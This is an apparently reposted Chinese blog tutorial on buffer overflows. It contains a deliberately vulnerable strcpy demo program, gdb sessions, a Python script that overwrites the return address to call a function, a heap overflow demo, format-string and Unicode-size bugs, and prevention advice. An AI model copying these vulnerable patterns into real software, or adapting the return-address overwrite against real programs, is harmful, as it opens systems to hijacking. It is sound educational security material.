1. 程式人生 > >(原創)攻擊方式學習之(3) - 緩沖區溢出(Buffer Overflow)

(原創)攻擊方式學習之(3) - 緩沖區溢出(Buffer Overflow)

信息 進行 adding 操作 return 錯誤 com 兩個 it!

堆棧溢出

堆棧溢出通常是所有的緩沖區溢出中最容易進行利用的。了解堆棧溢出之前,先了解以下幾個概念:

  1. 緩沖區
    • 簡單說來是一塊連續的計算機內存區域,可以保存相同數據類型的多個實例。
  2. 堆棧
    • 堆 棧是一個在計算機科學中經常使用的抽象數據類型。堆棧中的物體具有一個特性:最後一個放入堆棧中的物體總是被最先拿出來,這個特性通常稱為後進先出 (LIFO)隊列。堆棧中定義了一些操作。兩個最重要的是PUSH和POP。PUSH操作在堆棧的頂部加入一個元素。POP操作相反,在堆棧頂部移去一個 元素,並將堆棧的大小減一。
  3. 寄存器ESP、EBP、EIP
    1. CPU的ESP寄存器存放當前線程的棧頂指針,
    2. EBP寄存器中保存當前線程的棧底指針。
    3. CPU的EIP寄存器存放下一個CPU指令存放的內存地址,當CPU執行完當前的指令後,從EIP寄存器中讀取下一條指令的內存地址,然後繼續執行。

現 代計算機被設計成能夠理解人們頭腦中的高級語言。在使用高級語言構造程序時最重要的技術是過程(procedure)和函數(function)。從這一 點來看,一個過程調用可以象跳轉(jump)命令那樣改變程序的控制流程,但是與跳轉不同的是,當工作完成時,函數把控制權返回給調用之後的語句或指令。 這種高級抽象實現起來要靠堆棧的幫助。堆棧也用於給函數中使用的局部變量動態分配空間,同樣給函數傳遞參數和函數返回值也要用到堆棧。
堆棧由邏輯堆棧幀組成。當調用函數時邏輯堆棧幀被壓入棧中,當函數返回時邏輯堆棧幀被從棧中彈出。堆棧幀包括函數的參數,函數地局部變量,以及恢復前一個堆棧幀所需要的數據,其中包括在函數調用時指令指針(IP)的值。
當一個例程被調用時所必須做的第一件事是保存前一個 FP(這樣當例程退出時就可以恢復)。然後它把SP復制到FP,創建新的FP,把SP向前移動為局部變量保留空間。這稱為例程的序幕(prolog)工 作。當例程退出時,堆棧必須被清除幹凈,這稱為例程的收尾(epilog)工作。Intel的ENTER和LEAVE指令,Motorola的LINK和 UNLINK指令,都可以用於有效地序幕和收尾工作。
下面我們用一個簡單的例子來展示堆棧的模樣: example1.c:

void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); }

為了理解程序在調用function()時都做了哪些事情, 我們使用gcc的-S選項編譯, 以產生匯編代碼輸出:

$ gcc -S -o example1.s example1.c

通過查看匯編語言輸出, 我們看到對function()的調用被翻譯成:

pushl $3 pushl $2 pushl $1 call function

以從後往前的順序將function的三個參數壓入棧中, 然後調用function(). 指令call會把指令指針(IP)也壓入棧中. 我們把這被保存的IP稱為返回地址(RET). 在函數中所做的第一件事情是例程的序幕工作:

pushl %ebp movl %esp,%ebp subl $20,%esp

將幀指針EBP壓入棧中. 然後把當前的SP復制到EBP, 使其成為新的幀指針. 我們把這個被保存的FP叫做SFP. 接下來將SP的值減小, 為局部變量保留空間. 我 們必須牢記:內存只能以字為單位尋址. 在這裏一個字是4個字節, 32位. 因此5字節的緩沖區會占用8個字節(2個字)的內存空間, 而10個字節的緩沖區會占用12個字節(3個字)的內存空間. 這就是為什麽SP要減掉20的原因. 這樣我們就可以想象function()被調用時堆棧的模樣:

技術分享圖片

所以,從上圖來看,假如我們輸入的buffer1超長了,直接覆蓋掉後面的sfp和ret,就可以修改該函數的返回地址了。下面來看一個示例吧。

示例

關於如何編寫Shell Code,如何在內存中預先準備好一段危險的執行代碼以及如何精確計算通過緩沖區溢出執行那段危險代碼同時又讓返回地址調回原來返回地址……這中間涉及太 多的底層匯編知識,小弟不才也只是走馬觀花,成不了真正的黑客高手。但從黑客朋友的水平之高看來,提高我們的代碼安全性是非常必要的!
因此,在這個例子中,我們假設所謂的危險代碼已經在 源代碼中,即函數bar。函數foo是正常的函數,在main函數中被調用,執行了一段非常不安全的strcpy工作。利用不安全的strcpy,我們可 以傳入一個超過緩沖區buf長度的字符串,執行拷貝後,緩沖區溢出,把ret返回地址修改成函數bar的地址,達到調用函數bar的目的。

#include <stdio.h> #include <string.h> void foo(const char* input) { char buf[10]; printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); strcpy(buf, input); printf("buf = %s\n", buf); printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); } void bar(void) { printf("Augh! I‘ve been hacked!\n"); } int main(int argc, char* argv[]) { printf("Address of foo = %p\n", foo); printf("Address of bar = %p\n", bar); if (argc != 2) { printf("Please supply a string as an argument!\n"); return -1; } foo(argv[1]); printf("Exit!\n"); return 0; }

用GCC編譯上面的程序,同時註意關閉Buffer Overflow Protect開關:

gcc -g -fno-stack-protector test.c -o test

為了找出返回地址,我用gdb調試上面編譯出來的程序。

//(前面啟動gdb,設置參數和斷點的步驟省略……) (gdb) r Starting program: /media/Personal/MyProject/C/StackOver/test abc Address of foo = 0x80483d4 //函數foo的地址 Address of bar = 0x8048419 //函數bar的地址
Breakpoint 1, main (argc=2, argv=0xbfe5ab24) at test.c:24 24 foo(argv[1]); //在調用foo函數前,我們查看ebp值 (gdb) info registers ebp ebp 0xbfe5aa88 0xbfe5aa88 //ebp值為0xbfe5aa88 (gdb) n
Breakpoint 2, foo (input=0xbfe5c652 "abc") at test.c:4 4 { (gdb) n 6 printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); //執行到foo後,我們再查看ebp值 (gdb) info registers ebp ebp 0xbfe5aa68 0xbfe5aa68 //ebp值變成了0xbfe5aa68 //我們來查看一下地址0xbfe5aa68究竟是啥東東: (gdb) x/ 0xbfe5aa68 0xbfe5aa68: 0xbfe5aa88 //原來地址0xbfe5aa68存放的居然是我們之前的ebp值,其實豁然開朗了,因為這是執行了push %ebp後將之前的ebp保存起來了,和前面說的居然是一樣的! (gdb) n My stack looks like: 0xb7ee04e0 0x8048616 0xbfe5aa74 0xbfe5aa74 0xb7edfff4 0xbfe5aa88 //看,在代碼中輸入堆棧信息中也出現了熟悉的0xbfe5aa88,因此可以斷定該處為保存的上一級的ebp值。對應上上面那個圖中的sfp。 0x8048499 //假如0xbfe5aa88就是sfp的話,那0x8048499應該就是ret(返回地址)了,下面來驗證一下
7 strcpy(buf, input); //查看0x8048499裏面是什麽東東 (gdb) x/i 0x8048499 0x8048499 <main+108>: movl $0x8048653,(%esp) //這句代碼是main函數中的代碼,正是我們執行完foo函數後的下一個地址。不信,看看main的assemble: (gdb) disassemble main Dump of assembler code for function main: 0x0804842d <main+0>: lea 0x4(%esp),%ecx 0x08048431 <main+4>: and $0xfffffff0,%esp 0x08048434 <main+7>: pushl -0x4(%ecx) 0x08048437 <main+10>: push %ebp //(中間省略……) 0x08048494 <main+103>: call 0x80483d4 <foo> 0x08048499 <main+108>: movl $0x8048653,(%esp) //就是這裏了!哈 0x080484a0 <main+115>: call 0x8048340 <puts@plt>

因此,我們只要輸入一個超長的字符串,覆蓋掉0x08048499,變成bar的函數地址0x8048419,就達到了調用bar函數的目的。為了將0x8048419這樣的東西輸入到應用程序,我們需要借助於Perl或Python腳本,如下面的Python腳本:

import os arg = ‘ABCDEFGHIJKLMN‘ + "x19"x84"x04"x08‘ cmd = ‘./test ‘ + arg os.system(cmd)

註意上面的08 04 84 19要兩個兩個反著寫。執行一下:

$python hack.py Address of foo = 0x80483d4 Address of bar = 0x8048419 //bar的函數地址 My stack looks like: 0xb7fc24e0 0x8048616 0xbf832484 0xbf832484 0xb7fc1ff4 0xbf832498 0x8048499 //strcpy前函數返回地址0x8048499
buf = ABCDEFGHIJKLMN? Now the stack looks like: 0xbf83246e 0x8048616 0x42412484 0x46454443 0x4a494847 0x4e4d4c4b 0x8048419 //瞧,返回地址被修改為了我們想要的bar的函數地址0x8048419
Augh! Ive been hacked! //哈哈!bar函數果然被執行了!

堆溢出及其他溢出

堆溢出

堆是內存的一個區域,它 被應用程序利用並在運行時被動態分配。堆內存與堆棧內存的不同在於它在函數之間更持久穩固。這意味著分配給一個函數的內存會持續保持分配直到完全被釋放為 止。這說明一個堆溢出可能發生了但卻沒被註意到,直到該內存段在後面被使用。這裏只是簡單了解一下,下面看一個最簡單的堆溢出例子:

/*heap1.c – 最簡單的堆溢出*/ #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char *input = malloc(20); char *output = malloc(20); strcpy(output, "normal output"); strcpy(input, argv[1]); printf("input at %p: %s\n", input, input); printf("output at %p: %s\n", output, output); printf("\n\n%s\n", output); }

我們來看執行結果:

[root@localhost]# ./heap1 hackshacksuselessdata input at 0x8049728: hackshacksuselessdata output at 0x8049740: normal output
normal output [root@localhost]# ./heap1 hacks1hacks2hacks3hacks4hacks5hacks6hacks7hackshackshackshackshackshackshacks input at 0x8049728: hacks1hacks2hacks3hacks4hacks5hacks6hacks7hackshackshackshackshackshackshacks output at 0x8049740: hackshackshackshacks5hacks6hacks7
hackshacks5hackshacks6hackshacks7 [root@localhost]# ./heap1 "hackshacks1hackshacks2hackshacks3hackshacks4what have I done?" input at 0x8049728: hackshacks1hackshacks2hackshacks3hackshacks4what have I done? output at 0x8049740: what have I done? //我們看到,output變成了what have I done?
what have I done? [root@localhost]#

我們來看看是如何溢出的:

  • 技術分享圖片

格式化字符串錯誤

這類錯誤是指使用printf,sprintf,fprint等函數時,沒有使用格式化字符串,比如:正確用法是:

printf("%s", input)

如果直接寫成:

printf(input)

將會出現漏洞,當input輸入一些非法制造的字符時,內存將有可能被改寫,執行一些非法指令。

Unicode和ANSI緩沖區大小不匹配

我們經常碰到需要在Unicode和ANSI之間互相轉換,絕大多數Unicode函數按照寬字符格式(雙字節)大小,而不是按照字節大小來計算緩沖區大小,因此,轉換的時候不註意的話就可能會造成溢出。比如最常受到攻擊的函數是MultiByteToWideChar,看下面的代碼:

BOOL GetName(char *szName) { WCHAR wszUserName[256]; // Convert ANSI name to Unicode. MultiByteToWideChar(CP_ACP, 0, szName, -1, wszUserName, sizeof(wszUserName)); //問題出在這個參數上,sizeof(wszUserName)將會等於2*256=512個字節 }

wszUserName是寬字符的,因此,sizeof(wszUserName)將會是256*2個字節,因此存在潛在的緩沖區溢出問題。正確的寫法應該是這樣的:

MultiByteToWideChar(CP_ACP, 0, szName, -1, wszUserName, sizeof(wszUserName) / sizeof(wszUserName[0]));

曾真實出現的Internet打印協議緩沖區溢出就是由於此類問題導致的。

預防和發現問題

不安全的函數

避免使用不安全的字符串處理函數,比如使用安全的函數代替:

不安全的函數

安全函數

strcpy

strncpy

strcat

strncat

sprintf

_snprintf

gets

fgets

Visual C++ NET的/GS選項

/GS選項能夠阻止堆棧的破壞,保證堆棧的完整性,但是不能完全防止緩沖區溢出問題,比如,對於堆溢出,/GS是無能為力的。

源代碼掃描

最簡單的源代碼掃描:

grep strcpy *.c

然後就是一些開源的或是商業的源代碼掃描工具了。

工具

  • 源代碼工具包含ApplicationDefense、SPLINT、ITS4和Flawfinder。

  • 二進制工具包含各種fuzzing工具包和靜態分析程序,例如Bugscan。

參考資料

  1. Michael Howard, David LeBlanc. "Writing Secure Code"

  2. Mike Andrews, James A. Whittaker "How to Break Web Software"
  3. http://book.csdn.net/bookfiles/228/index.html

  4. 緩沖區溢出的原理和實踐(Phrack)

(原創)攻擊方式學習之(3) - 緩沖區溢出(Buffer Overflow)